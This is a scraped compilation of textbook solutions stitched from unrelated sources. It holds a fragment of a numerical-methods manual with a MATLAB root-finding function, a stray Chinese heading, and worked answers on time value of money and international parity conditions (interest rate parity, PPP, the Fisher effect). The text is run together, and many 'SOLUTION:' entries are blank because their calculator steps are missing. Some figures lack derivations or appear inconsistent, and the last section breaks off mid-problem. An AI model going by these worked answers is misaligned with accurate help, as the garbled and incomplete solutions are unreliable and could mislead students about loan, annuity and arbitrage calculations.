possible to have f(x k)−f(x k−1)=0before the secant iterations reach convergence.Thus,thefloating point exception exposed by demoSecant should be guarded against in any implementation of the secant method.Implementing thefix suggested in the problem statement is left as an exercise for the reader.Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.Chapter6:Finding the Roots of f(x)=09 6–33Write an m-file function to compute h,the depth to which a sphere of radius r,and specific gravity s,floats.(See Example6.12on page281.)The inputs are r and s,and the output ish.Only compute h when s<0.5.The s≥0.5case is dealt with in the following Exercise.If s≥0.5is input,have your function print an error message and stop.(The built-in error function will be useful.)Your function needs to include logic to select the correct root from the list of values returned by the built-in roots function.Partial Solution:The floata function listed below performs the desired computations.We briefly discuss three of the key statements in floata The coefficients of the polynomial are stored in the p vector.Thenc=getreal(roots(p));finds the real roots of the polynomial.The getreal subfunction returns only the real elements of a ing getreal is a defensive programming strategy.The sample calculation in Example6.12obtained only real roots of the polynomial,so getreal would not be necessary in that case.Thek=find(c>0&c<r);statement extracts the indices in the c vector satisfying the criteria0≤c k≤r.Then h=c(k);copies those roots satisfying the criteria to the h vector.No assumption is made that only one root meets the criteria.If more than one root is found a warning message is issued before leaving floata.Testing of floata is left to the reader.Copyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.10Finding the Roots of f(x)=0 function h=floata(r,s)%float Find water depth on a floating,solid sphere with specific gravity<0.5%%Synopsis:h=floata(r,s)%%Input:r=radius of the sphere%s=specific gravity of the sphere(0<s<1)%%Output:h=depth of the sphereif s>=0.5error(’s<0.5required in this version’)elsep=[1-3*r04*s*r^3];%h^3-3*r*h+4*s*r^3=0c=getreal(roots(p));k=find(c>0&c<r);%indices of elements in c such that0<c(k)<rh=c(k);%value of elements in c satisfying above criterionendif length(h)>1,warning(’More than one root found’);end%==============================function cr=getreal(c)%getreal Copy all real elements of input vector to output vector%%Synopsis:cr=getreal(c)%%Input:c=vector of numerical values%%Output cr=vector of only the real elements of c%cr=[]if c has only imaginary elementsn=0;for k=1:length(c)if isreal(c(k))n=n+1;cr(n)=c(k);endendif n==0,cr=[];warning(’No real elements in the input vector’);endCopyright c 2000,Gerald W.Recktenwald.Photocopying is permitted only for non-commercial educational purposes.。

《金融学》答案第四章 货币的时间价值与现金流贴现分析

《金融学》答案第四章 货币的时间价值与现金流贴现分析

CHAPTER 4THE TIME VALUE OF MONEY AND DISCOUNTED CASH FLOW ANALYSISObjectives∙To explain the concepts of compounding and discounting, future value and present value.∙To show how these concepts are applied to making financial decisions.Outline4.1Compounding4.2The Frequency of Compounding4.3Present Value and Discounting4.4Alternative Discounted Cash Flow Decision Rules4.5Multiple Cash Flows4.6Annuities4.7Perpetual Annuities4.8Loan Amortization4.9Exchange Rates and Time Value of Money4.10Inflation and Discounted Cash Flow Analysis4.11Taxes and Investment DecisionsSummary∙Compounding is the process of going from present value (PV) to future value (FV). The future value of $1 earning interest at rate i per period for n periods is (1+i)n.∙Discounting is finding the present value of some future amount. The present value of $1 discounted at rate i per period for n periods is 1/(1+i)n.∙One can make financial decisions by comparing the present values of streams of expected future cash flows resulting from alternative courses of action. The present value of cash inflows less the present value of cash outflows is called net present value (NPV). If a course of action has a positive NPV, it is worth undertaking.∙In any time value of money calculation, the cash flows and the interest rate must be denominated in the same currency.∙Never use a nominal interest rate when discounting real cash flows or a real interest rate when discounting nominal cash flows.How to Do TVM Calculations in MS ExcelAssume you have the following cash flows set up in a spreadsheet:A B1t CF20-1003150426053706NPV7IRRMove the cursor to cell B6 in the spreadsheet. Click the function wizard f x in the tool bar and when a menu appears, select financial and then NPV. Then follow the instructions for inputting the discount rate and cash flows. You can input the column of cash flows by selecting and moving it with your mouse. Ultimately cell B6should contain the following:=NPV(0.1,B3:B5)+B2The first variable in parenthesis is the discount rate. Make sure to input the discount rate as a decimal fraction (i.e., 10% is .1). Note that the NPV function in Excel treats the cash flows as occurring at the end of each period, and therefore the initial cash flow of 100 in cell B2 is added after the closing parenthesis. When you hit the ENTER key, the result should be $47.63.Now move the cursor to cell B7to compute IRR. This time select IRR from the list of financial functions appearing in the menu. Ultimately cell B7 should contain the following:=IRR(B2:B5)When you hit the ENTER key, the result should be 34%.Your spreadsheet should look like this when you have finished:A B1t CF20-1003150426053706NPV47.637IRR34%Solutions to Problems at End of Chapter1.If you invest $1000 today at an interest rate of 10% per year, how much will you have 20 years from now,assuming no withdrawals in the interim?2. a. If you invest $100 every year for the next 20 years, starting one year from today and you earninterest of 10% per year, how much will you have at the end of the 20 years?b.How much must you invest each year if you want to have $50,000 at the end of the 20 years?3.What is the present value of the following cash flows at an interest rate of 10% per year?a.$100 received five years from now.b.$100 received 60 years from now.c.$100 received each year beginning one year from now and ending 10 years from now.d.$100 received each year for 10 years beginning now.e.$100 each year beginning one year from now and continuing forever.e.PV = $100 = $1,000.104.You want to establish a “wasting” fund which will provide you with $1000 per year for four years, at which time the fund will be exhausted. How much must you put in the fund now if you can earn 10% interest per year?SOLUTION:5.You take a one-year installment loan of $1000 at an interest rate of 12% per year (1% per month) to be repaid in 12 equal monthly payments.a.What is the monthly payment?b.What is the total amount of interest paid over the 12-month term of the loan?SOLUTION:b. 12 x $88.85 - $1,000 = $66.206.You are taking out a $100,000 mortgage loan to be repaid over 25 years in 300 monthly payments.a.If the interest rate is 16% per year what is the amount of the monthly payment?b.If you can only afford to pay $1000 per month, how large a loan could you take?c.If you can afford to pay $1500 per month and need to borrow $100,000, how many months would it taketo pay off the mortgage?d.If you can pay $1500 per month, need to borrow $100,000, and want a 25 year mortgage, what is thehighest interest rate you can pay?SOLUTION:a.Note: Do not round off the interest rate when computing the monthly rate or you will not get the same answerreported here. Divide 16 by 12 and then press the i key.b.Note: You must input PMT and PV with opposite signs.c.Note: You must input PMT and PV with opposite signs.7.In 1626 Peter Minuit purchased Manhattan Island from the Native Americans for about $24 worth of trinkets. If the tribe had taken cash instead and invested it to earn 6% per year compounded annually, how much would the Indians have had in 1986, 360 years later?SOLUTION:8.You win a $1 million lottery which pays you $50,000 per year for 20 years, beginning one year from now. How much is your prize really worth assuming an interest rate of 8% per year?SOLUTION:9.Your great-aunt left you $20,000 when she died. You can invest the money to earn 12% per year. If you spend $3,540 per year out of this inheritance, how long will the money last?SOLUTION:10.You borrow $100,000 from a bank for 30 years at an APR of 10.5%. What is the monthly payment? If you must pay two points up front, meaning that you only get $98,000 from the bank, what is the true APR on the mortgage loan?SOLUTION:If you must pay 2 points up front, the bank is in effect lending you only $98,000. Keying in 98000 as PV and computing i, we get:11.Suppose that the mortgage loan described in question 10 is a one-year adjustable rate mortgage (ARM), which means that the 10.5% interest applies for only the first year. If the interest rate goes up to 12% in the second year of the loan, what will your new monthly payment be?SOLUTION:Step 2 is to compute the new monthly payment at an interest rate of 1% per month:12.You just received a gift of $500 from your grandmother and you are thinking about saving this money for graduation which is four years away. You have your choice between Bank A which is paying 7% for one-year deposits and Bank B which is paying 6% on one-year deposits. Each bank compounds interest annually. What is the future value of your savings one year from today if you save your money in Bank A? Bank B? Which is the better decision? What savings decision will most individuals make? What likely reaction will Bank B have? SOLUTION:$500 x (1.07) = $535Formula:$500 x (1.06) = $530a.You will decide to save your money in Bank A because you will have more money at the end of the year. Youmade an extra $5 because of your savings decision. That is an increase in value of 1%. Because interestcompounded only once per year and your money was left in the account for only one year, the increase in value is strictly due to the 1% difference in interest rates.b.Most individuals will make the same decision and eventually Bank B will have to raise its rates. However, it isalso possible that Bank A is paying a high rate just to attract depositors even though this rate is not profitable for the bank. Eventually Bank A will have to lower its rate to Bank B’s rate in order to make money.13.Sue Consultant has just been given a bonus of $2,500 by her employer. She is thinking about using the money to start saving for the future. She can invest to earn an annual rate of interest of 10%.a.According to the Rule of 72, approximately how long will it take for Sue to increase her wealth to $5,000?b.Exactly how long does it actually take?SOLUTION:a.According to the Rule of 72: n = 72/10 = 7.2 yearsIt will take approximately 7.2 years for Sue’s $2,500 to double to $5,000 at 10% interest.b.At 10% interestFormula:$2,500 x (1.10)n = $5,000Hence, (1.10)n = 2.0n log 1.10 = log 2.0n = .693147 = 7.27 Years.095310rry’s bank account has a “floating” interest rate on certain deposits. Every year the interest rate is adjusted. Larry deposited $20,000 three years ago, when interest rates were 7% (annual compounding). Last year the rate was only 6%, and this year the rate fell again to 5%. How much will be in his account at the end of this year?SOLUTION:$20,000 x 1.07 x 1.06 x 1.05 = $23,818.2015.You have your choice between investing in a bank savings account which pays 8% compounded annually (BankAnnual) and one which pays 7.5% compounded daily (BankDaily).a.Based on effective annual rates, which bank would you prefer?b.Suppose BankAnnual is only offering one-year Certificates of Deposit and if you withdraw your moneyearly you lose all interest. How would you evaluate this additional piece of information when making your decision?SOLUTION:a.Effective Annual Rate: BankAnnual = 8%.Effective Annual Rate BankDaily = [1 + .075]365 - 1 = .07788 = 7.788%365Based on effective annual rates, you would prefer BankAnnual (you will earn more money.)b.If BankAnnual’s 8% annual return is conditioned upon leaving the money in for one full year, I would need tobe sure that I did not need my money within the one year period. If I were unsure of when I might need the money, it might be safer to go for BankDaily. The option to withdraw my money whenever I might need it will cost me the potential difference in interest:FV (BankAnnual) = $1,000 x 1.08 = $1,080FV (BankDaily) = $1,000 x 1.07788 = $1,077.88Difference = $2.12.16.What are the effective annual rates of the following:a.12% APR compounded monthly?b.10% APR compounded annually?c.6% APR compounded daily?SOLUTION:Effective Annual Rate (EFF) = [1 + APR] m - 1ma.(1 + .12)12 - 1 = .1268 = 12.68%12b.(1 + .10)- 1 = .10 = 10%1c.(1 + .06)365 - 1 = .0618 = 6.18%36517.Harry promises that an investment in his firm will double in six years. Interest is assumed to be paid quarterly and reinvested. What effective annual yield does this represent?EAR=(1.029302)4-1=12.25%18.Suppose you know that you will need $2,500 two years from now in order to make a down payment on a car.a.BankOne is offering 4% interest (compounded annually) for two-year accounts, and BankTwo is offering4.5% (compounded annually) for two-year accounts. If you know you need $2,500 two years from today,how much will you need to invest in BankOne to reach your goal? Alternatively, how much will you need to invest in BankTwo? Which Bank account do you prefer?b.Now suppose you do not need the money for three years, how much will you need to deposit today inBankOne? BankTwo?SOLUTION:PV = $2,500= $2,311.39(1.04)2PV = $2,500= $2,289.32(1.045)2You would prefer BankTwo because you earn more; therefore, you can deposit fewer dollars today in order to reach your goal of $2,500 two years from today.b.PV = $2,500= $2,222.49(1.04)3PV = $2,500= $2,190.74(1.045)3Again, you would prefer BankTwo because you earn more; therefore, you can deposit fewer dollars today in order to reach your goal of $2,500 three years from today.19.Lucky Lynn has a choice between receiving $1,000 from her great-uncle one year from today or $900 from her great-aunt today. She believes she could invest the $900 at a one-year return of 12%.a.What is the future value of the gift from her great-uncle upon receipt? From her great-aunt?b.Which gift should she choose?c.How does your answer change if you believed she could invest the $900 from her great-aunt at only 10%?At what rate is she indifferent?SOLUTION:a. Future Value of gift from great-uncle is simply equal to what she will receive one year from today ($1000). Sheearns no interest as she doesn’t receive the money until next year.b. Future Value of gift from great-aunt: $900 x (1.12) = $1,008.c. She should choose the gift from her great-aunt because it has future value of $1008 one year from today. Thegift from her great-uncle has a future value of $1,000. This assumes that she will able to earn 12% interest on the $900 deposited at the bank today.d. If she could invest the money at only 10%, the future value of her investment from her great-aunt would only be$990: $900 x (1.10) = $990. Therefore she would choose the $1,000 one year from today. Lucky Lynn would be indifferent at an annual interest rate of 11.11%:$1000 = $900 or (1+i) = 1,000 = 1.1111(1+i)900i = .1111 = 11.11%20.As manager of short-term projects, you are trying to decide whether or not to invest in a short-term project that pays one cash flow of $1,000 one year from today. The total cost of the project is $950. Your alternative investment is to deposit the money in a one-year bank Certificate of Deposit which will pay 4% compounded annually.a.Assuming the cash flow of $1,000 is guaranteed (there is no risk you will not receive it) what would be alogical discount rate to use to determine the present value of the cash flows of the project?b.What is the present value of the project if you discount the cash flow at 4% per year? What is the netpresent value of that investment? Should you invest in the project?c.What would you do if the bank increases its quoted rate on one-year CDs to 5.5%?d.At what bank one-year CD rate would you be indifferent between the two investments?SOLUTION:a.Because alternative investments are earning 4%, a logical choice would be to discount the project’s cash flowsat 4%. This is because 4% can be considered as your opportunity cost for taking the project; hence, it is your cost of funds.b.Present Value of Project Cash Flows:PV = $1,000= $961.54(1.04)The net present value of the project = $961.54 - $950 (cost) = $11.54The net present value is positive so you should go ahead and invest in the project.c.If the bank increased its one-year CD rate to 5.5%, then the present value changes to:PV = $1,000= $947.87(1.055)Now the net present value is negative: $947.87 - $950 = - $2.13. Therefore you would not want to invest in the project.d.You would be indifferent between the two investments when the bank is paying the following one-year interestrate:$1,000 = $950 hence i = 5.26%(1+i)21.Calculate the net present value of the following cash flows: you invest $2,000 today and receive $200 one year from now, $800 two years from now, and $1,000 a year for 10 years starting four years from now. Assume that the interest rate is 8%.SOLUTION:Since there are a number of different cash flows, it is easiest to do this problem using cash flow keys on the calculator:22.Your cousin has asked for your advice on whether or not to buy a bond for $995 which will make one payment of $1,200 five years from today or invest in a local bank account.a.What is the internal rate of return on the bond’s cash flows? What additional information do you need tomake a choice?b.What advice would you give her if you learned the bank is paying 3.5% per year for five years(compounded annually?)c.How would your advice change if the bank were paying 5% annually for five years? If the price of thebond were $900 and the bank pays 5% annually?SOLUTION:a.$995 x (1+i)5 = $1,200.(1+i)5 = $1,200$995Take 5th root of both sides:(1+i) =1.0382i = .0382 = 3.82%In order to make a choice, you need to know what interest rate is being offered by the local bank.b.Upon learning that the bank is paying 3.5%, you would tell her to choose the bond because it is earning a higherrate of return of 3.82% .c.If the bank were paying 5% per year, you would tell her to deposit her money in the bank. She would earn ahigher rate of return.5.92% is higher than the rate the bank is paying (5%); hence, she should choose to buy the bond.23.You and your sister have just inherited $300 and a US savings bond from your great-grandfather who had left them in a safe deposit box. Because you are the oldest, you get to choose whether you want the cash or the bond. The bond has only four years left to maturity at which time it will pay the holder $500.a.If you took the $300 today and invested it at an interest rate 6% per year, how long (in years) would ittake for your $300 to grow to $500? (Hint: you want to solve for n or number of periods. Given these circumstances, which are you going to choose?b.Would your answer change if you could invest the $300 at 10% per year? At 15% per year? What otherDecision Rules could you use to analyze this decision?SOLUTION:a.$300 x (1.06)n = $500(1.06)n = 1.6667n log 1.06 = log 1.6667n = .510845 = 8.77 Years.0582689You would choose the bond because it will increase in value to $500 in 4 years. If you tookthe $300 today, it would take more than 8 years to grow to $500.b.You could also analyze this decision by computing the NPV of the bond investment at the different interest rates:In the calculations of the NPV, $300 can be considered your “cost” for acquiring the bond since you will give up $300 in cash by choosing the bond. Note that the first two interest rates give positive NPVs for the bond, i.e. you should go for the bond, while the last NPV is negative, hence choose the cash instead. These results confirm the previous method’s results.24.Suppose you have three personal loans outstanding to your friend Elizabeth. A payment of $1,000 is due today, a $500 payment is due one year from now and a $250 payment is due two years from now. You would like to consolidate the three loans into one, with 36 equal monthly payments, beginning one month from today. Assume the agreed interest rate is 8% (effective annual rate) per year.a.What is the annual percentage rate you will be paying?b.How large will the new monthly payment be?SOLUTION:a.To find the APR, you must first compute the monthly interest rate that corresponds to an effective annual rate of8% and then multiply it by 12:1.08 = (1+ i)12Take 12th root of both sides:1.006434 = 1+ ii = .006434 or .6434% per monthOr using the financial calculator:b.The method is to first compute the PV of the 3 loans and then compute a 36 month annuity payment with thesame PV. Most financial calculators have keys which allow you to enter several cash flows at once. This approach will give the user the PV of the 3 loans.Note: The APR used to discount the cash flows is the effective rate in this case, because this method is assuming annual compounding.25.As CEO of ToysRFun, you are offered the chance to participate, without initial charge, in a project that produces cash flows of $5,000 at the end of the first period, $4,000 at the end of the next period and a loss of $11,000 at the end of the third and final year.a.What is the net present value if the relevant discount rate (the company’s cost of capital) is 10%?b.Would you accept the offer?c.What is the internal rate of return? Can you explain why you would reject a project which has aninternal rate of return greater than its cost of capital?SOLUTION:At 10% discount rate:Net Present Value = - 0 + $5,000 + $4,000 - $11,000 = - 413.22(1.10)(1.10)2 (1.10)3c.This example is a project with cash flows that begin positive and then turn negative--it is like a loan. The 13.6% IRR is therefore like an interest rate on that loan. The opportunity to take a loan at 13.6% when the cost of capital is only 10% is not worthwhile.26.You must pay a creditor $6,000 one year from now, $5,000 two years from now, $4,000 three years from now, $2,000 four years from now, and a final $1,000 five years from now. You would like to restructure the loan into five equal annual payments due at the end of each year. If the agreed interest rate is 6% compounded annually, what is the payment?SOLUTION:Since there are a number of different cash flows, it is easiest to do the first step of this problem using cash flow keys on the calculator. To find the present value of the current loan payments:27.Find the future value of the following ordinary annuities (payments begin one year from today and all interest rates compound annually):a.$100 per year for 10 years at 9%.b.$500 per year for 8 years at 15%.c.$800 per year for 20 years at 7%.d.$1,000 per year for 5 years at 0%.e.Now find the present values of the annuities in a-d.f.What is the relationship between present values and future values?SOLUTION:Future Value of Annuity:e.f.The relationship between present value and future value is the following:FV = PV x (1+i)n28.Suppose you will need $50,000 ten years from now. You plan to make seven equal annual deposits beginning three years from today in an account that yields 11% compounded annually. How large should the annual deposit be?SOLUTION:You will be making 7 payments beginning 3 years from today. So, we need to find the value of an immediate annuity with 7 payments whose FV is $50,000:29.Suppose an investment offers $100 per year for five years at 5% beginning one year from today.a.What is the present value? How does the present value calculation change if one additional payment isadded today?b.What is the future value of this ordinary annuity? How does the future value change if one additionalpayment is added today?SOLUTION:$100 x [(1.05)5] - 1 = $552.56.05If you were to add one additional payment of $100 today, the future value would increase by:$100 x (1.05)5 = $127.63. Total future value = $552.56 + $127.63 = $680.19.Another way to do it would be to use the BGN mode for 5 payments of $100 at 5%, find the future value of that, and then add $100. The same $680.19 is obtained.30.You are buying a $20,000 car. The dealer offers you two alternatives: (1) pay the full $20,000 purchase price and finance it with a loan at 4.0% APR over 3 years or (2) receive $1,500 cash back and finance the rest at a bank rate of 9.5% APR. Both loans have monthly payments over three years. Which should you choose? SOLUTION:31.You are looking to buy a sports car costing $23,000. One dealer is offering a special reduced financing rate of 2.9% APR on new car purchases for three year loans, with monthly payments. A second dealer is offering a cash rebate. Any customer taking the cash rebate would of course be ineligible for the special loan rate and would have to borrow the balance of the purchase price from the local bank at the 9%annual rate. How large must the cash rebate be on this $23,000 car to entice a customer away from the dealer who is offering the special 2.9% financing?SOLUTION:of the 2.9% financing.32.Show proof that investing $475.48 today at 10% allows you to withdraw $150 at the end of each of the next 4 years and have nothing remaining.SOLUTION:You deposit $475.48 and earn 10% interest after one year. Then you withdraw $150. The table shows what happensAnother way to do it is simply to compute the PV of the $150 annual withdrawals at 10% : it turns out to be exactly $475.48, hence both amounts are equal.33.As a pension manager, you are considering investing in a preferred stock which pays $5,000,000 per year forever beginning one year from now. If your alternative investment choice is yielding 10% per year, what is the present value of this investment? What is the highest price you would be willing to pay for this investment? If you paid this price, what would be the dividend yield on this investment?SOLUTION:Present Value of Investment:PV = $5,000,000 = $50,000,000.10Highest price you would be willing to pay is $50,000,000.Dividend yield = $5,000,000 = 10%.$50,000,00034. A new lottery game offers a choice for the grand prize winner. You can receive either a lump sum of $1,000,000 immediately or a perpetuity of $100,000 per year forever, with the first payment today. (If you die, your estate will still continue to receive payments). If the relevant interest rate is 9.5% compounded annually, what is the difference in value between the two prizes?SOLUTION:The present value of the perpetuity assuming that payments begin at the end of the year is:$100,000/.095 = $1,052,631.58If the payments begin immediately, you need to add the first payment. $100,000 + 1,052,632 = $1,152,632.So the annuity has a PV which is greater than the lump sum by $152,632.35.Find the future value of a $1,000 lump sum investment under the following compounding assumptions:a.7% compounded annually for 10 yearsb.7% compounded semiannually for 10 yearsc.7% compounded monthly for 10 yearsd.7% compounded daily for 10 yearse.7% compounded continuously for 10 yearsa.$1,000 x (1.07)10 = $1,967.15b.$1,000 x (1.035)20 = $1,989.79c.$1,000 x (1.0058)120 = $2,009.66d.$1,000 x (1.0019178)3650 = $2,013.62e.$1,000 x e.07x10 = $2,013.7536.Sammy Jo charged $1,000 worth of merchandise one year ago on her MasterCard which has a stated interest rate of 18% APR compounded monthly. She made 12 regular monthly payments of $50, at the end of each month, and refrained from using the card for the past year. How much does she still owe? SOLUTION:Sammy Jo has taken a $1,000 loan at 1.5% per month and is paying it off in monthly installments of $50. We could work out the amortization schedule to find out how much she still owes after 12 payments, but a shortcut on the financial calculator is to solve for FV as follows:37.Suppose you are considering borrowing $120,000 to finance your dream house. The annual percentage rate is 9% and payments are made monthly,a.If the mortgage has a 30 year amortization schedule, what are the monthly payments?b.What effective annual rate would you be paying?c.How do your answers to parts a and b change if the loan amortizes over 15 years rather than 30?EFF = [1 + .09]1238.Suppose last year you took out the loan described in problem #37a. Now interest rates have declined to 8% per year. Assume there will be no refinancing fees.a.What is the remaining balance of your current mortgage after 12 payments?b.What would be your payment if you refinanced your mortgage at the lower rate for 29 years? SOLUTION:Exchange Rates and the Time Value of Money39.The exchange rate between the pound sterling and the dollar is currently $1.50 per pound, the dollar interest rate is 7% per year, and the pound interest rate is 9% per year. You have $100,000 in a one-year account that allows you to choose between either currency, and it pays the corresponding interest rate.a.If you expect the dollar/pound exchange rate to be $1.40 per pound a year from now and are indifferentto risk, which currency should you choose?b.What is the “break-even” value of the dollar/pound exchange rate one year from now?SOLUTION:a.You could invest $1 today in dollar-denominated bonds and have $1.07 one year from now. Or you couldconvert the dollar today into 2/3 (i.e., 1/1.5) of a pound and invest in pound-denominated bonds to have .726667(i.e., 2/3 x 1.09) pounds one year from now. At an exchange rate of $1.4 per pound, this would yield 0.726667(1.4) = $1.017 (this is lower than $1.07), so you would choose the dollar currency.b.For you to break-even the .726667 pounds would have to be worth $1.07 one year from now, so the break-evenexchange rate is $1.07/.726667 or $1.4725 per pound. So for exchange rates lower than $1.4725 per pound one year from now, the dollar currency will give a better return.。

国际财务管理课后习题答案chapter 6-推荐下载

国际财务管理课后习题答案chapter 6-推荐下载

CHAPTER 6 INTERNATIONAL PARITY RELATIONSHIPSSUGGESTED ANSWERS AND SOLUTIONS TO END-OF-CHAPTERQUESTIONS AND PROBLEMSQUESTIONS1. Give a full definition of arbitrage.Answer:Arbitrage can be defined as the act of simultaneously buying and selling the same or equivalent assets or commodities for the purpose of making certain, guaranteed profits.2. Discuss the implications of the interest rate parity for the exchange rate determination.Answer: Assuming that the forward exchange rate is roughly an unbiased predictor of the future spot rate, IRP can be written as:S = [(1 + I£)/(1 + I$)]E[S t+1 I t].The exchange rate is thus determined by the relative interest rates, and the expected future spot rate, conditional on all the available information, I t, as of the present time. One thus can say that expectation is self-fulfilling. Since the information set will be continuously updated as news hit the market, the exchange rate will exhibit a highly dynamic, random behavior.3. Explain the conditions under which the forward exchange rate will be an unbiased predictor of the future spot exchange rate.Answer: The forward exchange rate will be an unbiased predictor of the future spot rate if (I) the risk premium is insignificant and (ii) foreign exchange markets are informationally efficient.4. Explain the purchasing power parity, both the absolute and relative versions. What causes the deviations from the purchasing power parity?Answer: The absolute version of purchasing power parity (PPP):S = P$/P£.The relative version is:e = π$ - π£.PPP can be violated if there are barriers to international trade or if people in different countries have different consumption taste. PPP is the law of one price applied to a standard consumption basket.5. Discuss the implications of the deviations from the purchasing power parity for countries’ competitive positions in the world market.Answer: If exchange rate changes satisfy PPP, competitive positions of countries will remain unaffected following exchange rate changes. Otherwise, exchange rate changes will affect relative competitiveness of countries. If a country’s currency appreciates (depreciates) by more than is warranted by PPP, that will hurt (strengthen) the country’s competitive position in the world market.6. Explain and derive the international Fisher effect.Answer: The international Fisher effect can be obtained by combining the Fisher effect and the relative version of PPP in its expectational form. Specifically, the Fisher effect holds thatE(π$) = I$ - ρ$,E(π£) = I£ - ρ£.Assuming that the real interest rate is the same between the two countries, i.e., ρ$ = ρ£, and substituting the above results into the PPP, i.e., E(e) = E(π$)- E(π£), we obtain the international Fisher effect: E(e) = I$ - I£.7. Researchers found that it is very difficult to forecast the future exchange rates more accurately than the forward exchange rate or the current spot exchange rate. How would you interpret this finding?Answer: This implies that exchange markets are informationally efficient. Thus, unless one has private information that is not yet reflected in the current market rates, it would be difficult to beat the market.8. Explain the random walk model for exchange rate forecasting. Can it be consistent with the technical analysis?Answer: The random walk model predicts that the current exchange rate will be the best predictor of the future exchange rate. An implication of the model is that past history of the exchange rate is of no value in predicting future exchange rate. The model thus is inconsistent with the technical analysis which tries to utilize past history in predicting the future exchange rate.*9. Derive and explain the monetary approach to exchange rate determination.Answer: The monetary approach is associated with the Chicago School of Economics. It is based on two tenets: purchasing power parity and the quantity theory of money. Combing these two theories allows for stating, say, the $/£ spot exchange rate as:S($/£) = (M$/M£)(V$/V£)(y£/y$),where M denotes the money supply, V the velocity of money, and y the national aggregate output. The theory holds that what matters in exchange rate determination are:1. The relative money supply,2. The relative velocities of monies, and3. The relative national outputs.10. CFA question: 1997, Level 3.A.Explain the following three concepts of purchasing power parity (PPP):a. The law of one price.b. Absolute PPP.c. Relative PPP.B.Evaluate the usefulness of relative PPP in predicting movements in foreign exchange rates on:a.Short-term basis (for example, three months)b.Long-term basis (for example, six years)Answer:A. a. The law of one price (LOP) refers to the international arbitrage condition for the standardconsumption basket. LOP requires that the consumption basket should be selling for the same price ina given currency across countries.A. b. Absolute PPP holds that the price level in a country is equal to the price level in another country times the exchange rate between the two countries.A. c. Relative PPP holds that the rate of exchange rate change between a pair of countries is about equal to the difference in inflation rates of the two countries.B. a. PPP is not useful for predicting exchange rates on the short-term basis mainly becauseinternational commodity arbitrage is a time-consuming process.B. b. PPP is useful for predicting exchange rates on the long-term basis.PROBLEMS1. Suppose that the treasurer of IBM has an extra cash reserve of $100,000,000 to invest for six months. The six-month interest rate is 8 percent per annum in the United States and 6 percent per annum in Germany. Currently, the spot exchange rate is €1.01 per dollar and the six-month forward exchange rate is €0.99 per dollar. The treasurer of IBM does not wish to bear any exchange risk. Where should he/she invest to maximize the return?The market conditions are summarized as follows:I$ = 4%; i€ = 3.5%; S = €1.01/$; F = €0.99/$.If $100,000,000 is invested in the U.S., the maturity value in six months will be$104,000,000 = $100,000,000 (1 + .04).Alternatively, $100,000,000 can be converted into euros and invested at the German interest rate, with the euro maturity value sold forward. In this case the dollar maturity value will be$105,590,909 = ($100,000,000 x 1.01)(1 + .035)(1/0.99)Clearly, it is better to invest $100,000,000 in Germany with exchange risk hedging.2. While you were visiting London, you purchased a Jaguar for £35,000, payable in three months. You have enough cash at your bank in New York City, which pays 0.35% interest per month, compounding monthly, to pay for the car. Currently, the spot exchange rate is $1.45/£ and the three-month forward exchange rate is $1.40/£. In London, the money market interest rate is 2.0% for a three-month investment. There are two alternative ways of paying for your Jaguar.(a) Keep the funds at your bank in the U.S. and buy £35,000 forward.(b) Buy a certain pound amount spot today and invest the amount in the U.K. for three months so that the maturity value becomes equal to £35,000.Evaluate each payment method. Which method would you prefer? Why?Solution: The problem situation is summarized as follows:A/P = £35,000 payable in three monthsi NY = 0.35%/month, compounding monthlyi LD = 2.0% for three monthsS = $1.45/£; F = $1.40/£.Option a:When you buy £35,000 forward, you will need $49,000 in three months to fulfill the forward contract. The present value of $49,000 is computed as follows:$49,000/(1.0035)3 = $48,489.Thus, the cost of Jaguar as of today is $48,489.Option b:The present value of £35,000 is £34,314 = £35,000/(1.02). To buy £34,314 today, it will cost $49,755 = 34,314x1.45. Thus the cost of Jaguar as of today is $49,755.You should definitely choose to use “option a”, and save $1,266, which is the difference between $49,755 and $48489.3. Currently, the spot exchange rate is $1.50/£ and the three-month forward exchange rate is $1.52/£. The three-month interest rate is 8.0% per annum in the U.S. and 5.8% per annum in the U.K. Assume that you can borrow as much as $1,500,000 or £1,000,000.a. Determine whether the interest rate parity is currently holding.b. If the IRP is not holding, how would you carry out covered interest arbitrage? Show all the steps and determine the arbitrage profit.c. Explain how the IRP will be restored as a result of covered arbitrage activities.Solution: Let’s summarize the given data first:S = $1.5/£; F = $1.52/£; I$ = 2.0%; I£ = 1.45%Credit = $1,500,000 or £1,000,000.a. (1+I$) = 1.02(1+I£)(F/S) = (1.0145)(1.52/1.50) = 1.0280Thus, IRP is not holding exactly.b. (1) Borrow $1,500,000; repayment will be $1,530,000.(2) Buy £1,000,000 spot using $1,500,000.(3) Invest £1,000,000 at the pound interest rate of 1.45%;maturity value will be £1,014,500.(4) Sell £1,014,500 forward for $1,542,040Arbitrage profit will be $12,040c. Following the arbitrage transactions described above,The dollar interest rate will rise;The pound interest rate will fall;The spot exchange rate will rise;The forward exchange rate will fall.These adjustments will continue until IRP holds.4. Suppose that the current spot exchange rate is €0.80/$ and the three-month forward exchange rate is €0.7813/$. The three-month interest rate is5.6 percent per annum in the United States and 5.40 percent per annum in France. Assume that you can borrow up to $1,000,000 or €800,000.a. Show how to realize a certain profit via covered interest arbitrage, assuming that you want to realize profit in terms of U.S. dollars. Also determine the size of your arbitrage profit.b. Assume that you want to realize profit in terms of euros. Show the covered arbitrage process and determine the arbitrage profit in euros.Solution:a.(1+ i $) = 1.014 < (F/S) (1+ i € ) = 1.053. Thus, one has to borrow dollars and invest in euros to makearbitrage profit.1.Borrow $1,000,000 and repay $1,014,000 in three months.2.Sell $1,000,000 spot for €1,060,000.3.Invest €1,060,000 at the euro interest rate of 1.35 % for three months and receive €1,074,310 atmaturity.4.Sell €1,074,310 forward for $1,053,245.Arbitrage profit = $1,053,245 - $1,014,000 = $39,245.b.Follow the first three steps above. But the last step, involving exchange risk hedging, will bedifferent.5. Buy $1,014,000 forward for €1,034,280.Arbitrage profit = €1,074,310 - €1,034,280 = €40,0305. In the issue of October 23, 1999, the Economist reports that the interest rate per annum is 5.93% in the United States and 70.0% in Turkey. Why do you think the interest rate is so high in Turkey? Based on the reported interest rates, how would you predict the change of the exchange rate between the U.S. dollarand the Turkish lira?Solution: A high Turkish interest rate must reflect a high expected inflation in Turkey. According to international Fisher effect (IFE), we haveE(e) = i$ - i Lira= 5.93% - 70.0% = -64.07%The Turkish lira thus is expected to depreciate against the U.S. dollar by about 64%.6. As of November 1, 1999, the exchange rate between the Brazilian real and U.S. dollar is 